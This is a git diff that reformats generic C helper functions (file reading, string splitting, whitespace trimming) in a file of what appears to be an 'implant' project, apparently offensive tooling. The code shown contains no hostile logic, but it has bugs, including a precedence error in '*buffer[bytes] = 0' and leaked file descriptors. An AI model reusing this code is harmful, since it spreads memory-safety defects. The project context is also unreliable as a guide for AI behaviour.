diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -5,160 +5,149 @@
#include "implant.h"
-
-#include <stddef.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
+#include <ctype.h>
#include <errno.h>
-#include <stdlib.h>
+#include <fcntl.h>
+#include <stddef.h>
#include <stdint.h>
+#include <stdio.h>
#include <stdlib.h>
-#include <unistd.h>
#include <string.h>
-#include <ctype.h>
-#include <stdio.h>
-
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
int read_file(char const *path, char **buffer) {
- int fd = open(path, O_RDONLY);
- if (0 > fd) {
+ int fd = open(path, O_RDONLY);
+ if (0 > fd) {
#ifdef DEBUG
- DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+ DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- /* could use fseek but stat is posix so let's use that */
- struct stat st;
- if (0 > fstat(fd, &st)) {
+ /* could use fseek but stat is posix so let's use that */
+ struct stat st;
+ if (0 > fstat(fd, &st)) {
#ifdef DEBUG
- DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+ DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- unsigned long filesize = (unsigned long)st.st_size;
+ unsigned long filesize = (unsigned long)st.st_size;
- *buffer = malloc(sizeof(char) * (filesize + 1));
- if (!buffer || !(*buffer)) {
+ *buffer = malloc(sizeof(char) * (filesize + 1));
+ if (!buffer || !(*buffer)) {
#ifdef DEBUG
- DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+ DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- ssize_t bytes = read(fd, *buffer, filesize);
- if (bytes != st.st_size) {
+ ssize_t bytes = read(fd, *buffer, filesize);
+ if (bytes != st.st_size) {
#ifdef DEBUG
- DEBUG_LOG(
- "[!] Should have read %ld bytes but read %ld (filepath: %s)",
- st.st_size, bytes, path
- );
+ DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
+ st.st_size, bytes, path);
#endif
- if (bytes < 0) {
+ if (bytes < 0) {
#ifdef DEBUG
- DEBUG_LOG("read: %s", strerror(errno));
+ DEBUG_LOG("read: %s", strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
}
+ }
- *buffer[bytes] = 0;
- close(fd);
- return SUCCESSFUL;
+ *buffer[bytes] = 0;
+ close(fd);
+ return SUCCESSFUL;
}
-static size_t get_nb_cols(const char *str, int n, char separator)
-{
- size_t i = (size_t)n;
- size_t res = 0;
+static size_t get_nb_cols(const char *str, int n, char separator) {
+ size_t i = (size_t)n;
+ size_t res = 0;
- if (str == NULL || str[0] == '\0')
- return 0;
- for (; str[i] != '\0' && str[i] != separator; i++, res++);
- return (res);
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ for (; str[i] != '\0' && str[i] != separator; i++, res++)
+ ;
+ return (res);
}
-static size_t get_nb_rows(const char *str, char separator)
-{
- int i;
- size_t res = 0;
-
- if (str == NULL || str[0] == '\0')
- return 0;
- if (str == NULL || str[0] == '\0')
- return (0);
- for (i = 0; str[i] != '\0'; i++)
- if (str[i] == separator)
- res++;
- return (res + 1);
+static size_t get_nb_rows(const char *str, char separator) {
+ int i;
+ size_t res = 0;
+
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ if (str == NULL || str[0] == '\0')
+ return (0);
+ for (i = 0; str[i] != '\0'; i++)
+ if (str[i] == separator)
+ res++;
+ return (res + 1);
}
-char **tabgen(const char *str, char separator)
-{
- size_t i = 0;
- size_t malloc_size = 0;
- size_t index_str = 0;
- char **res = NULL;
+char **tabgen(const char *str, char separator) {
+ size_t i = 0;
+ size_t malloc_size = 0;
+ size_t index_str = 0;
+ char **res = NULL;
- if (str == NULL || *str == 0)
- return NULL;
+ if (str == NULL || *str == 0)
+ return NULL;
- res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
- for (; i < get_nb_rows(str, separator); i++) {
- malloc_size = get_nb_cols(&str[index_str], 0, separator);
+ res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+ for (; i < get_nb_rows(str, separator); i++) {
+ malloc_size = get_nb_cols(&str[index_str], 0, separator);
- res[i] = malloc(sizeof(char) * (malloc_size + 4));
- if (!res[i]) {
- res[i] = NULL;
- free_tab((uint8_t **)res);
- return NULL;
- }
+ res[i] = malloc(sizeof(char) * (malloc_size + 4));
+ if (!res[i]) {
+ res[i] = NULL;
+ free_tab((uint8_t **)res);
+ return NULL;
+ }
- res[i] = strncpy(res[i], &str[index_str], malloc_size);
- res[i][malloc_size] = '\0';
+ res[i] = strncpy(res[i], &str[index_str], malloc_size);
+ res[i][malloc_size] = '\0';
- index_str = index_str + malloc_size + 1;
- }
+ index_str = index_str + malloc_size + 1;
+ }
- res[i] = NULL;
- return (res);
+ res[i] = NULL;
+ return (res);
}
-void free_tab(uint8_t **tab)
-{
- for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
- free(tab[ctr]);
- free(tab);
+void free_tab(uint8_t **tab) {
+ for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+ free(tab[ctr]);
+ free(tab);
}
-char *remove_repeating_whitespaces(char *s)
-{
- size_t i = 0;
- size_t x = 0 ;
+char *remove_repeating_whitespaces(char *s) {
+ size_t i = 0;
+ size_t x = 0;
- if (!s || !(*s))
- return NULL;
+ if (!s || !(*s))
+ return NULL;
- for(; s[i]; ++i)
- if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
- s[x++] = s[i];
+ for (; s[i]; ++i)
+ if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
+ s[x++] = s[i];
- s[x] = '\0';
- return s;
+ s[x] = '\0';
+ return s;
}
-size_t get_array_size(uint8_t **array)
-{
- size_t ctr = 0;
+size_t get_array_size(uint8_t **array) {
+ size_t ctr = 0;
- if (!array)
- return 0;
- while (array[ctr++]);
- return ctr;
+ if (!array)
+ return 0;
+ while (array[ctr++])
+ ;
+ return ctr;
}
| | | | | | | |